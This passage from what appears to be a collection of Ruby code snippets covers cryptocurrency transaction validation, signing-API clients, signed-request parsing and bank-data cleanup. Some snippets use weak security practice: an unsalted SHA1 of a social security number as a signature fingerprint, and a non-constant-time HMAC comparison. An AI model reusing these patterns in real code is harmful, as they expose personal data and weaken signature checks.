prev_atx\n BTC::Invariant(prev_atx.verified?, \"Cached verified tx must be fully verified\")\n end\n prev_atx ||= prev_unverified_atxs_by_hash[txin.previous_hash]\n if !prev_atx\n prev_tx = transaction_for_input(txin)\n if !prev_tx\n Diagnostics.current.add_message(\"Failed to load previous transaction for input #{ain.index}: #{txin.previous_id}\")\n return nil\n end\n begin\n prev_atx = AssetTransaction.new(transaction: prev_tx)\n prev_unverified_atxs_by_hash[prev_atx.transaction_hash] = prev_atx\n rescue FormatError => e\n # Previous transaction is not a valid Open Assets transaction,\n # so we mark the input as uncolored and verified as such.\n ain.asset_id = nil\n ain.value = nil\n ain.verified = true\n end\n end\n # Remember a reference to this transaction so we can validate the whole `asset_transaction` when all previous ones are set and verified.\n ain.previous_asset_transaction = prev_atx\n end # each input\n\n # Return all unverified transactions.\n # Note: this won't include the already verified one.\n prev_unverified_atxs_by_hash.values\n end\n end", "def check_inputs(block, tx, state, check_scripts, strict_p2sh, include_memory_pool, verify_dersig)\n return true if tx.is_coinbase?\n\n if !self.verify_inputs_are_available(tx, include_memory_pool)\n # This doesn't trigger the DoS code on purpose; if it did, it would make it easier\n # for an attacker to attempt to split the network.\n raise TxValidationError, \"CheckInputs() : #{tx.hash} inputs unavailable\"\n return false\n end\n\n # Get the height for the current block\n height = 1 + @storage.height_for_block(block.prev_block_hex)\n\n value_in = 0\n\n # Perform inexpensive checks on all inputs.\n tx.inputs.each do |txin|\n txout = @storage.output_for_outpoint(txin.prev_out, txin.prev_out_index)\n if !txout && include_memory_pool\n txout = @mempool.output_for_outpoint(txin)\n end\n\n # If spending a coinbase, make sure it's mature enough.\n if @storage.is_tx_coinbase(txin.prev_out)\n output_height = @storage.height_for_tx(txin.prev_out)\n maturity = Bitcoin.network[:coinbase_maturity]\n depth = height - output_height\n if depth < maturity\n raise TxValidationError, \"CheckInputs() : tried to spend coinbase at depth #{depth} < #{maturity}\"\n return false\n end\n end\n\n # Check for negative or overflow input values\n value_in += txout.value\n\n if !valid_money_range(txout.value) || !valid_money_range(value_in)\n # DoS 100\n raise TxValidationError, \"CheckInputs() : txin values out of range\"\n return false\n end\n\n end # each input\n\n value_out = self.tx_value_out(tx)\n\n if value_in < value_out\n # DoS 100\n raise TxValidationError, \"CheckInputs() : tx #{tx.hash} value in < value out\"\n return false\n end\n\n # Tally transaction fees\n fee = (value_in - value_out)\n\n if !valid_money_range(fee)\n raise TxValidationError, \"CheckInputs() : fees out of range\"\n return false\n end\n\n # The first loop above does all the inexpensive checks.\n # Only if ALL inputs pass do we perform expensive ECDSA signature checks.\n # Helps prevent CPU exhaustion attacks.\n\n # Skip ECDSA signature verification when connecting blocks\n # before the last block chain checkpoint. This is safe because block merkle hashes are\n # still computed and checked, and any change will be caught at the next checkpoint.\n # This flag is set earlier, in connect_block method.\n #\n if check_scripts\n # For each input, execute the script.\n tx.inputs.each_with_index do |txin, i|\n if !txin.coinbase?\n txout = @storage.output_for_outpoint(txin.prev_out, txin.prev_out_index)\n if !txout && include_memory_pool\n txout = @mempool.output_for_outpoint(txin)\n end\n script_pubkey = txout.pk_script\n #puts \"Script check: #{script_pubkey.inspect}\"\n if !tx.verify_input_signature(i, script_pubkey, block.time, { verify_dersig: !!verify_dersig })\n raise TxValidationError, \"Script evaluation failed\"\n false\n end\n end\n end # each input\n end # if check_scripts\n\n # Tx is valid, add some extra aggregate data for use in @storage\n self.cache_additional_tx_fields(tx, fee, value_in, value_out)\n\n return true\n end", "def run_script_test(script_sig_str, script_pk_str, opts = {})\n script_sig = Bitcoin::Script.from_string(script_sig_str)\n script_pk = Bitcoin::Script.from_string(script_pk_str)\n tx_credit = build_crediting_tx(script_pk.raw)\n tx = build_spending_tx(script_sig.raw, tx_credit)\n tx.verify_input_signature(0, tx_credit, Time.now.to_i, opts)\n end", "def signrawtransaction(hexstring, transaction = nil, privatekey =nil, sighashtype = \"ALL\")\n @api.request 'signrawtransaction', hexstring, transaction, privatekey, sighashtype\n end", "def wallet_transaction_sign(wallet_transaction_sign_request, opts = {})\n data, _status_code, _headers = wallet_transaction_sign_with_http_info(wallet_transaction_sign_request, opts)\n data\n end", "def tran_xml(xml, index, job, batch, transaction_set_count) \n if !payer.blank? && !payer.status.blank? && (!payer.gateway.blank? || !payer.gateway_temp.blank?)\n gateway = payer.status.upcase == 'MAPPED' ? payer.gateway : (payer.gateway_temp || 'HLSC')\n payid = payer.payer_identifier(micr_line_information)\n footnote_indicator = (payer.footnote_indicator ? 1 : 0)\n else raise 'Invalid Payer'\n puts \"Payer record for check number #{check_number} is incomplete or invalid\"\n log.error \"Payer record for check number #{check_number} is incomplete or invalid\"\n end\n\n payee_name ||= batch.facility.name.to_s.strip\n xml.tran(:ID => index + 1) do\n xml.tag!(:batch_attrib, 1)\n xml.tag!(:gateway, gateway)\n xml.tag!(:pay_id, payid)\n xml.tag!(:payee_nm, (payee_name.slice(0, 25) if !payee_name.blank?))\n xml.tag!(:aba_num, (micr_line_information.aba_routing_number if micr_line_information))\n xml.tag!(:chk_act, (micr_line_information.payer_account_number if micr_line_information))\n xml.tag!(:chk_num, check_number)\n xml.tag!(:chk_amt, sprintf('%.02f', check_amount.to_f))\n xml.tag!(:eob_id, (index + 1))\n xml.tag!(:tid, job.transaction_number)\n xml.tag!(:rework, '0')\n xml.tag!(:payer_footnote_based, (footnote_indicator || 0))\n xml.tag!(:worklist_status_cd, '')\n xml.tag!(:transaction_receipt_dt, (batch.date.strftime(\"%Y-%m-%d\") unless batch.date.blank?))\n xml.tag!(:hlsc_file_nm, batch.src_file_name)\n xml.tag!(:show_on_worklist, '0')\n xml.tag!(:transaction_guid, guid)\n end\n transaction_set_count += 1\n end", "def submit_sequence_caller_for_aa_nt(aa_fasta_array, nt_fasta_array,uploader_name, uploader_email)\n \n uploading_result = Array.new\n group_hash, reversed_group_hash = get_group_sequence_table\n aa_fasta_array.each do |fasta_seq|\n result = annotation_submission(fasta_seq,group_hash,reversed_group_hash)\n uploading_result.push(*result)\n end\n\n aa_fasta_hash = convert_fasta_array_to_hash(aa_fasta_array)\n nt_fasta_hash = convert_fasta_array_to_hash(nt_fasta_array)\n # puts aa_fasta_hash\n\n # collection_hash = { :header => header, :accession_no => accession_no, \n # :organism => organism, :status => status, :msg => msg, :group => group,\n # :reference => reference }\n\n # puts \"test submit_sequence_caller_for_aa_nt\"\n # uploading_result.each do |row|\n # puts row.inspect\n # end\n\n # add the successful sequence to database \n # aa_fasta_array is array not hash \n uploading_result.each do |submission|\n header = submission[:header]\n accession_no = submission[:accession_no]\n organism = submission[:organism]\n status = submission[:status]\n group = submission[:group]\n reference = submission[:reference]\n # group = \"1\"\n # status = \"SUCCESS\"\n if status == \"SUCCESS\" or status == \"NEW\"\n group.split(\",\").each do |g|\n save_success_sequence(aa_fasta_hash[header], nt_fasta_hash[header], g , accession_no, organism, g, reference, uploader_name, uploader_email)\n end\n end\n\n end\n\n return uploading_result\n\n end", "def calculate_transactions(transaction_request, opts = {})\n data, _status_code, _headers = calculate_transactions_with_http_info(transaction_request, opts)\n data\n end", "def aggregate_signatures(signatures)\n raise BLS::Error, 'Expected non-empty array.' if signatures.empty?\n\n signatures.map { |s| BLS.norm_p2(s) }.inject(PointG2::ZERO) { |sum, s| sum + s }\n end", "def parse_signed_request(input)\n encoded_sig, encoded_envelope = input.split('.', 2)\n signature = base64_url_decode(encoded_sig).unpack(\"H*\").first\n envelope = MultiJson.decode(base64_url_decode(encoded_envelope))\n\n raise \"SignedRequest: Unsupported algorithm #{envelope['algorithm']}\" if envelope['algorithm'] != 'HMAC-SHA256'\n\n # now see if the signature is valid (digest, key, data)\n hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA256.new, @app_secret, encoded_envelope.tr(\"-_\", \"+/\"))\n raise 'SignedRequest: Invalid signature' if (signature != hmac)\n\n return envelope\n end", "def create_signatures(request)\n data, _status_code, _headers = create_signatures_with_http_info(request)\n data\n end", "def create_signatures_with_http_info(request)\n raise ArgumentError, 'Incorrect request type' unless request.is_a? CreateSignaturesRequest\n\n @api_client.config.logger.debug 'Calling API: SignApi.create_signatures ...' if @api_client.config.debugging\n # verify the required parameter 'sign_settings' is set\n raise ArgumentError, 'Missing the required parameter sign_settings when calling SignApi.create_signatures' if @api_client.config.client_side_validation && request.sign_settings.nil?\n # resource path\n local_var_path = '/signature/create'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(request.sign_settings)\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n header_params: header_params,\n query_params: query_params,\n form_params: form_params,\n body: post_body,\n access_token: get_access_token,\n return_type: 'SignResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called:\n SignApi#create_signatures\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n [data, status_code, headers]\n end", "def script_sig=(script_sig)\n @script_sig_length = script_sig.bytesize\n @script_sig = script_sig\n end", "def new_transaction(sender:, recipient:, amount:)\n transaction = {\n sender: sender,\n recipient: recipient,\n amount: amount\n }\n\n current_transactions << transaction\n\n last_block[:index]\n end", "def sanitizeTransactions(transactions)\n sanitizedArray = Array.new\n transactions.each do |transaction|\n newData = {}\n # Date\n date = Date.parse(transaction['date'])\n newData['date'] = date.strftime('%Y-%m-%d')\n # Type\n newData['type'] = transaction['type']\n # Description\n newData['description'] = transaction['description']\n # Paid In/Out\n newData['paid_in'] = transaction['paid_in'].delete(',').to_f\n newData['paid_out'] = transaction['paid_out'].delete(',').to_f\n newData['balance'] = transaction['balance'].delete(',').to_f\n sanitizedArray << newData\n end\n sanitizedArray\n end", "def gen_sig(mac, params)\n signed = params[\"signed\"].split(\",\").map {|k| [k, params[k]]}\n base64_encode(Signatures.sign(mac, kv_encode(signed)))\n rescue Signatures::NotFound\n nil\n end", "def process_transactions\n @transactions.each do |transaction|\n transaction[:events_data].each do |event|\n\n r = validate_event(event)\n next unless r.success?\n\n contract_event_obj = create_contract_event(transaction[:transaction_hash], event)\n next if contract_event_obj.status != GlobalConstant::ContractEvent.recorded_status\n\n process_event(contract_event_obj)\n\n end\n\n end\n\n end", "def create_signature_hashes\n if !self.manager_sign_username.blank?\n manager = User.find_by_username_and_store_id(self.manager_sign_username, Thread.current['user'].store_id)\n self.manager_signer = manager\n self.manager_signature_hash = Digest::SHA1.hexdigest(\"--#{manager.social_security_number}--#{self.instance.created_at}--\")\n self.manager_signature_date = Time.now\n self.save_status = self.save_status.to_s + \" Store Manager signature accepted. Reload this page to see the digital fingerprint.\"\n end\n\n if !self.regional_sign_username.blank?\n regional = Admin.find_by_username(self.regional_sign_username)\n self.regional_signer = regional\n self.regional_signature_hash = Digest::SHA1.hexdigest(\"--#{regional.social_security_number}--#{self.instance.created_at}--\")\n self.regional_signature_date = Time.now\n self.save_status = self.save_status.to_s + \" Regional Manager signature accepted. Reload this page to see the digital fingerprint.\"\n end\n end", "def verify_input_sig_for_legacy(input_index, script_pubkey, flags)\n script_sig = inputs[input_index].script_sig\n checker = Bitcoin::TxChecker.new(tx: self, input_index: input_index)\n interpreter = Bitcoin::ScriptInterpreter.new(checker: checker, flags: flags)\n\n interpreter.verify_script(script_sig, script_pubkey)\n end", "def transaction(key, settings = {}, &block)\n t = init_transaction(key, settings)\n block.call\n t.finish\n rescue\n t.rollback\n raise\n ensure\n t.clean_publisher\n end", "def format_inputs(inputs)\n @api.account_id = @options[:src]\n result = {}\n\n inputs.index.each do |input|\n # Array input format type isn't correct and must be changed to a json array.\n # More info here: http://reference.rightscale.com/api1.5/resources/ResourceInputs.html#multi_update\n if input.value =~ /^array:/\n array = input.value.sub(/^array:/, \"\").split(\",\")\n array.map {|a| a.sub!(/^/, \"\\\"text:\").sub!(/$/, \"\\\"\")}\n new_array = array.join(\",\")\n new_array.sub!(/^/, \"array:[\")\n new_array.sub!(/$/, \"]\")\n result[input.name] = new_array\n else\n result[input.name] = input.value\n end\n end\n\n return result\nend", "def sign(params, shared_secret = nil)\n shared_secret ||= params.delete['sharedSecret']\n raise ArgumentError, \"Cannot verify a signature without a shared secret\" unless shared_secret\n sig = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), Array(shared_secret).pack(\"H*\"), string_to_sign(params))\n params.merge('merchantSig' => Base64.encode64(sig).strip)\n end", "def transaction_params\n params.require(:transaction).permit(:native_id, :block, :sender, :recipient, :amount_nqt, :fee_nqt)\n end", "def _inputs(inputs=[], opts={}) # :nodoc:\n if inputs.is_a?(Hash)\n opts = inputs.merge(opts)\n inputs = []\n end\n\n form_opts = {}\n form_opts[:inputs_wrapper] = opts[:nested_inputs_wrapper] if opts[:nested_inputs_wrapper]\n TRANSFORMER_TYPES.each do |t|\n if opts.has_key?(t) && t != :inputs_wrapper\n form_opts[t] = opts[t]\n end\n end\n\n Forme.transform(:inputs_wrapper, opts, @opts, self, opts) do\n with_opts(form_opts) do\n inputs.each do |i|\n emit(input(*i))\n end\n yield if block_given?\n end\n end\n end", "def transactions\n raw_transactions = @agent.get(\"https://wwws.mint.com/transactionDownload.event?\").body\n\n transos = []\n\n raw_transactions.split(\"\\n\").each_with_index do |line,index|\n\n if index > 1\n line_array = line.split(\",\")\n transaction = {\n :date => Date.strptime(remove_quotes(line_array[0]), '%m/%d/%Y'),\n :description=>remove_quotes(line_array[1]),\n :original_description=>remove_quotes(line_array[2]),\n :amount=>remove_quotes(line_array[3]).to_f,\n :type=>remove_quotes(line_array[4]),\n :category=>remove_quotes(line_array[5]),\n :account=>remove_quotes(line_array[6]),\n :labels=>remove_quotes(line_array[7]),\n :notes=>remove_quotes(line_array[8])\n }\n transos << transaction\n\n if block_given?\n yield transaction\n end\n\n end\n\n end\n transos\n \n end", "def signature t\n case t\n when nil, true, false; 0\n when Numeric; 1\n when String, Symbol; 2\n when Array; t.map {|v| signature(v)}\n when Hash; t.each_with_object({}) {|(k,v), h| h[k] = signature(v)}\n else raise ArgumentError, \"cannot compute signature for #{t.inspect}\"\n end\n end", "def transaction_params\n params.require(:transaction).permit(:t_user1_id, :t_user2_id, :amount)\n end", "def get_txins_for_txouts(txouts)\n txouts.map{|tx_hash, tx_idx| get_txin_for_txout(tx_hash, tx_idx) }.compact\n end", "def insert_multi(tablename, arr_hashes, args = {})\n sql = \"INSERT INTO `#{tablename}` (\"\n\n first = true\n if args && args[:keys]\n keys = args[:keys]\n elsif arr_hashes.first.is_a?(Hash)\n keys = arr_hashes.first.keys\n else\n raise \"Could not figure out keys.\"\n end\n\n keys.each do |col_name|\n sql << \",\" unless first\n first = false if first\n sql << quote_column(col_name)\n end\n\n sql << \") VALUES (\"\n\n first = true\n arr_hashes.each do |hash|\n if first\n first = false\n else\n sql << \"),(\"\n end\n\n first_key = true\n if hash.is_a?(Array)\n hash.each do |val|\n if first_key\n first_key = false\n else\n sql << \",\"\n end\n\n sql << @db.quote_value(val)\n end\n else\n hash.each do |_key, val|\n if first_key\n first_key = false\n else\n sql << \",\"\n end\n\n sql << @db.quote_value(val)\n end\n end\n end\n\n sql << \")\"\n\n return sql if args && args[:return_sql]\n\n query(sql)\n\n if args && args[:return_id]\n first_id = last_id\n raise \"Invalid ID: #{first_id}\" if first_id.to_i <= 0\n ids = [first_id]\n 1.upto(arr_hashes.length - 1) do |count|\n ids << first_id + count\n end\n\n ids_length = ids.length\n arr_hashes_length = arr_hashes.length\n raise \"Invalid length (#{ids_length}, #{arr_hashes_length}).\" unless ids_length == arr_hashes_length\n\n return ids\n else\n return nil\n end\n end", "def sign(message, foreign_keys)\n raise ArgumentError \"Foreign keys must all have the same hasher\" unless foreign_keys.all?{ |e| e.hasher == hasher }\n\n message_digest = hasher.hash_string(message)\n seed = hasher.hash_array([value, message_digest])\n\n all_keys = hasher.shuffle([self] + foreign_keys, seed)\n\n q_array, w_array = generate_q_w(all_keys, seed)\n ll_array, rr_array = generate_ll_rr(all_keys, q_array, w_array)\n challenge = hasher.hash_array([message_digest] + ll_array + rr_array)\n c_array, r_array = generate_c_r(all_keys, q_array, w_array, challenge)\n\n public_keys = all_keys.map(&:public_key)\n signature = Signature.new(key_image, c_array, r_array, hasher)\n\n [signature, public_keys]\n end", "def add_signatures\n if @data_signature then\n @tar_writer.add_file 'data.tar.gz.sig', 0644 do |io|\n io.write @data_signature\n end\n end\n\n if @meta_signature then\n @tar_writer.add_file 'metadata.gz.sig', 0644 do |io|\n io.write @meta_signature\n end\n end\n end", "def SignerKey(input = nil)\n case input\n when Transaction\n SignerKey.pre_auth_tx(input.hash)\n when /^[0-9A-Za-z+\\/=]{44}$/\n SignerKey.hash_x(Stellar::Convert.from_base64(input))\n when /^[0-9a-f]{64}$/\n SignerKey.hash_x(Stellar::Convert.from_hex(input))\n when /^.{32}$/\n SignerKey.hash_x(input)\n else\n SignerKey.ed25519(KeyPair(input))\n end\n end", "def estimate_transaction_gas(transaction_template: {})\n params = {\n transaction_template: transaction_template,\n }\n client.make_request('/estimate-transaction-gas', 'post', params: params)\n end", "def new_transaction(vote_cipher:, ring_members:, ring_sig_hex:)\n if validator.valid_transaction?(vote_cipher, ring_members, ring_sig_hex)\n transaction = {\n vote: vote_cipher,\n ring_members: ring_members,\n ring_signature: ring_sig_hex\n }\n\n ring_sig = CryptoHelper.ringsig_from(ring_sig_hex)\n validator.add_voter(ring_sig.key_image)\n new_block(transaction: transaction)\n end\n end", "def dup\n TransactionInput.new(previous_hash: @previous_hash.dup,\n previous_index: @previous_index,\n signature_script: @signature_script ? @signature_script.dup : nil,\n coinbase_data: @coinbase_data ? @coinbase_data.dup : nil,\n sequence: @sequence,\n transaction: @transaction,\n transaction_output: @transaction_output, # not dup-ing txout because it's a transient object without #==\n value: @value)\n end", "def signed_request_params(timestamp = nil)\n timestamp ||= Time.now.to_i\n data = \"#{self.id} - #{timestamp} - #{self.connection.partner.api_key}\"\n {\n 'user_id' => id,\n 'ts' => timestamp,\n 'sig' => Digest::SHA1.hexdigest(data).slice(0, 10)\n }\n end", "def insert_multi(tablename, arr_hashes, args = {})\n sql = \"INSERT INTO `#{tablename}` (\"\n\n first = true\n if args && args[:keys]\n keys = args[:keys]\n elsif arr_hashes.first.is_a?(Hash)\n keys = arr_hashes.first.keys\n else\n raise \"Could not figure out keys.\"\n end\n\n keys.each do |col_name|\n sql << \",\" unless first\n first = false if first\n sql << quote_column(col_name)\n end\n\n sql << \") VALUES (\"\n\n first = true\n arr_hashes.each do |hash|\n if first\n first = false\n else\n sql << \"),(\"\n end\n\n first_key = true\n if hash.is_a?(Array)\n hash.each do |val|\n if first_key\n first_key = false\n else\n sql << \",\"\n end\n\n sql << @db.quote_value(val)\n end\n else\n hash.each do |_key, val|\n if first_key\n first_key = false\n else\n sql << \",\"\n end\n\n sql << @db.quote_value(val)\n end\n end\n end\n\n sql << \")\"\n\n return sql if args && args[:return_sql]\n\n query_no_result_set(sql)\n\n if args && args[:return_id]\n first_id = last_id\n raise \"Invalid ID: #{first_id}\" if first_id.to_i <= 0\n ids = [first_id]\n 1.upto(arr_hashes.length - 1) do |count|\n ids << first_id + count\n end\n\n ids_length = ids.length\n arr_hashes_length = arr_hashes.length\n raise \"Invalid length (#{ids_length}, #{arr_hashes_length}).\" if ids_length != arr_hashes_length\n\n return ids\n else\n return nil\n end\n end", "def sanitizeTransactions(transactions)\n sanitizedArray = Array.new\n unless transactions.empty?\n transactions.each do |transaction|\n newData = {}\n # Date\n newData['date'] = DateTime.strptime(transaction['date'], '%d %b %y').strftime('%Y-%m-%d')\n # Description\n newData['description'] = replaceLineBreaks(transaction['description'])\n # Paid In/Out\n if transaction['amount'].include? 'CR'\n newData['paid_in'] = transaction['amount'].delete('CR\\n').delete('£').delete(' ').to_f\n newData['paid_out'] = 0\n else\n newData['paid_in'] = 0\n newData['paid_out'] = transaction['amount'].delete('£').to_f\n end\n # DUD INFO\n newData['type'] = transaction['type'].delete(' ').upcase\n newData['balance'] = 0\n sanitizedArray << newData\n end\n end\n sanitizedArray\n end", "def wallet_transaction_sign_with_http_info(wallet_transaction_sign_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.wallet_transaction_sign ...'\n end\n # verify the required parameter 'wallet_transaction_sign_request' is set\n if @api_client.config.client_side_validation && wallet_transaction_sign_request.nil?\n fail ArgumentError, \"Missing the required parameter 'wallet_transaction_sign_request' when calling DefaultApi.wallet_transaction_sign\"\n end\n # resource path\n local_var_path = '/api/v2/wallet/transaction/sign'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(wallet_transaction_sign_request) \n\n # return_type\n return_type = opts[:return_type] || 'InlineResponse2009' \n\n # auth_names\n auth_names = opts[:auth_names] || ['csrfAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#wallet_transaction_sign\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def sign(opts = {})\n params = {\n secret: client_secret,\n tx_json: {\n 'TransactionType' => opts[:transaction_type] || 'Payment',\n 'Account' => client_account,\n 'Destination' => opts[:destination],\n 'Amount' => opts[:amount]\n }\n }\n if opts.key?(:SendMax) and opts.key?(:Paths)\n # Complex IOU send\n params[:tx_json]['SendMax'] = opts[:SendMax]\n params[:tx_json]['Paths'] = opts[:Paths]\n end\n if opts.key?(:DestinationTag)\n params[:tx_json]['DestinationTag'] = opts[:DestinationTag]\n end\n if opts.key?(:InvoiceID)\n params[:tx_json]['InvoiceID'] = opts[:InvoiceID]\n end\n post(:sign, params)\n end", "def merge_data(input_files)\n for filename in input_files\n merge_into_hash(filename)\n end\n sanitize_hash\n end", "def to_compress\n a = lx.dup\n b = rx.dup\n ts = transcript.dup\n w = ts.challenge_scalar(\"w\")\n q = GENERATOR_BJ * w\n\n a_sum = a.dup\n b_sum = b.dup\n g_sum = vec_g.dup\n h_sum = vec_h2.dup\n\n terms = []\n until a_sum.length == 1\n a_lo = []\n b_lo = []\n g_lo = []\n h_lo = []\n a_hi = []\n b_hi = []\n g_hi = []\n h_hi = []\n half = a_sum.length / 2\n a_sum.each.with_index do |_, i|\n if i < half\n a_lo << a_sum[i]\n b_lo << b_sum[i]\n g_lo << g_sum[i]\n h_lo << h_sum[i]\n else\n a_hi << a_sum[i]\n b_hi << b_sum[i]\n g_hi << g_sum[i]\n h_hi << h_sum[i]\n end\n end\n alo_bhi = a_lo.zip(b_hi).map { |x, y| FIELD.mod(x * y) }.sum\n ahi_blo = a_hi.zip(b_lo).map { |x, y| FIELD.mod(x * y) }.sum\n\n l_k =\n g_hi.zip(a_lo).map { |x, y| x * y }.sum(INFINITY_J) +\n h_lo.zip(b_hi).map { |x, y| x * y }.sum(INFINITY_J) + q * alo_bhi\n r_k =\n g_lo.zip(a_hi).map { |x, y| x * y }.sum(INFINITY_J) +\n h_hi.zip(b_lo).map { |x, y| x * y }.sum(INFINITY_J) + q * ahi_blo\n\n ts.points << l_k\n ts.points << r_k\n uk = ts.challenge_scalar(\"uk\")\n uk_inv = FIELD.inverse(uk)\n terms << { L: l_k, R: r_k }\n\n a_sum = []\n b_sum = []\n g_sum = []\n h_sum = []\n a_lo.each.with_index do |_, i|\n a_sum << (a_lo[i] * uk + a_hi[i] * uk_inv)\n b_sum << (b_lo[i] * uk_inv + b_hi[i] * uk)\n g_sum << (g_lo[i] * uk_inv + g_hi[i] * uk)\n h_sum << (h_lo[i] * uk + h_hi[i] * uk_inv)\n end\n end\n\n a0 = a_sum.first\n b0 = b_sum.first\n\n Compressed.new(v, p_a, p_s, p_t1, p_t2, tx, tx_bf, e, a0, b0, terms)\n end", "def signing_input; end", "def signing_input; end", "def check_transaction(tx, state)\n # Basic checks that don't depend on any context\n if tx.inputs.empty?\n raise TxValidationError, \"CheckTransaction() : vin empty\"\n return false\n end\n\n if tx.outputs.empty?\n raise TxValidationError, \"CheckTransaction() : vout empty\"\n return false\n end\n\n # Size limits\n if (tx.payload || tx.to_payload).bytesize > Bitcoin::MAX_BLOCK_SIZE\n raise TxValidationError, \"CheckTransaction() : size limits failed\"\n return false\n end\n\n # Check for negative or overflow output values\n total_value_out = 0\n tx.outputs.each do |output|\n if output.value < 0\n raise TxValidationError, \"CheckTransaction() : txout.nValue negative\"\n return false\n end\n if output.value > Bitcoin.network[:max_money]\n raise TxValidationError, \"CheckTransaction() : txout.nValue too high\"\n return false\n end\n\n total_value_out += output.value\n if total_value_out > Bitcoin.network[:max_money]\n raise TxValidationError, \"CheckTransaction() : txout total out of range\"\n return false\n end\n end\n\n # Check for duplicate inputs\n inputs = tx.inputs.map{|input| [input.prev_out, input.prev_out_index] }\n if inputs.size != inputs.uniq.size\n raise TxValidationError, \"CheckTransaction() : duplicate inputs\"\n return false\n end\n\n if tx.is_coinbase?\n if !tx.inputs.first.script.bytesize.between?(2,100)\n raise TxValidationError, \"CheckTransaction() : coinbase script size\"\n return false\n end\n else\n if tx.inputs.any?{|input| input.prev_out == Bitcoin::Protocol::TxIn::NULL_HASH }\n raise TxValidationError, \"CheckTransaction() : prevout is null\"\n return false\n end\n end\n\n true\n end", "def jde_invoice_hashes_array(for_type=nil, include_regular_charges=true, include_advance_charges=true, delta_only=false, with_indicator=true)\n return [{}] if for_type.nil?\n hashes_array = []\n \n # What parameters were passed in you ask?\n logger.info(\"For type: #{for_type}\")\n logger.info(\"Including regular charges: #{include_regular_charges}\")\n logger.info(\"Including advance charges: #{include_advance_charges}\")\n logger.info(\"Are advance charges for the delta only: #{delta_only}\")\n logger.info(\"Including the end indicator: #{with_indicator}\")\n \n # Set up the document type variables that apply and the uid to use\n # (based on the 'for_type' value)\n document_type_credit = \"\"\n document_type_invoice = \"\"\n line_item_posting_key_credit = \"\"\n line_item_posting_key_invoice = \"\"\n posting_key_credit = \"\"\n posting_key_invoice = \"\"\n ref_gl_account_uid = \"\"\n # for member values\n if for_type.eql?('member')\n document_type_credit = \"MC\"\n document_type_invoice = \"MI\"\n line_item_posting_key_credit = \"40\"\n line_item_posting_key_invoice = \"50\"\n posting_key_credit = \"11\"\n posting_key_invoice = \"01\"\n ref_gl_account_uid = self.member_id.to_s if self.member_id.present?\n # for seller values\n elsif for_type.eql?('seller')\n document_type_credit = \"SC\"\n document_type_invoice = \"SI\"\n line_item_posting_key_credit = \"40\"\n line_item_posting_key_invoice = \"50\"\n posting_key_credit = \"11\"\n posting_key_invoice = \"01\"\n ref_gl_account_uid = self.seller.seller_uid.to_s unless self.seller.nil?\n # for vendor values\n elsif for_type.eql?('vendor')\n document_type_credit = \"KG\"\n document_type_invoice = \"KR\"\n line_item_posting_key_credit = \"50\"\n line_item_posting_key_invoice = \"40\"\n posting_key_credit = \"21\"\n posting_key_invoice = \"31\"\n # According to email from Nikki vendor uid to use is pickup location\n # (which means the tow provider uid is not referenced for this)\n ref_gl_account_uid = self.pickup_location.pickup_location_uid.to_s unless self.pickup_location.nil? || self.pickup_location.pickup_location_uid.nil?\n else\n logger.info(\"Returning [{}] for unknown type: #{for_type}\")\n return [{}]\n end \n\n # This is a hash with all of the fields desired,\n # with data filled in for the first record.\n # (thanks to that true being passed in)\n base_hash = base_jde_hash(true, with_indicator)\n \n # The next two values may change below if\n # total is negative, becoming SC, MC, or KG and 11 or 21\n base_hash[:documentType] = document_type_invoice # invoice code\n base_hash[:postingKey] = posting_key_invoice\n base_hash[:reference] = ref_gl_account_uid\n base_hash[:glAccount] = ref_gl_account_uid\n\n # SAP expects this base hash of data to only\n # be on the first record...\n hashes_array << base_hash\n\n # we need to keep track of the total\n total_charge = 0\n\n # these are the advance charges\n advance_charges = include_advance_charges ? self.advance_charge : nil\n\n # these are the non sale price charges\n charges = []\n charges_multiplier = 1 # 1 or -1 depending on the type this is for\n charges_for_seller = false\n if include_regular_charges\n if for_type.eql?('member')\n charges = self.member_charges \n elsif for_type.eql?('seller')\n charges = self.seller_charges\n charges_multiplier = -1\n charges_for_seller = true\n end\n end\n\n # Add the sale price\n # (the amounts are subtracted from the total_charge\n # for sellers [credit], added to the total for members [debit/invoice])\n #\n # sale price line\n if include_regular_charges\n sale_price_hash = base_jde_hash(false, with_indicator)\n sale_amount = self.high_bid_amount.present? ? self.high_bid_amount : 0\n total_charge += sale_amount * charges_multiplier\n sale_price_hash[:amount] = sale_amount.to_s\n sale_price_hash[:postingKey] = charges_for_seller ? line_item_posting_key_credit : line_item_posting_key_invoice\n sale_price_hash[:glAccount] = \"100000\"\n sale_price_hash[:itemText] = \"Sale Price\"\n hashes_array << sale_price_hash\n end\n\n # we're adding advance charges!\n if advance_charges.present? && include_advance_charges\n total_advance_vat = 0\n # labor\n labor_amount = advance_charges.labor\n previous_labor_amount = advance_charges.previous_labor_charge\n labor_vat_amount = advance_charges.labor_vat\n previous_labor_vat_amount = advance_charges.previous_labor_vat_charge\n # was 304016 (now 150991), changed per SAP, but I lack faith, so this comment is here.\n labor_hash = 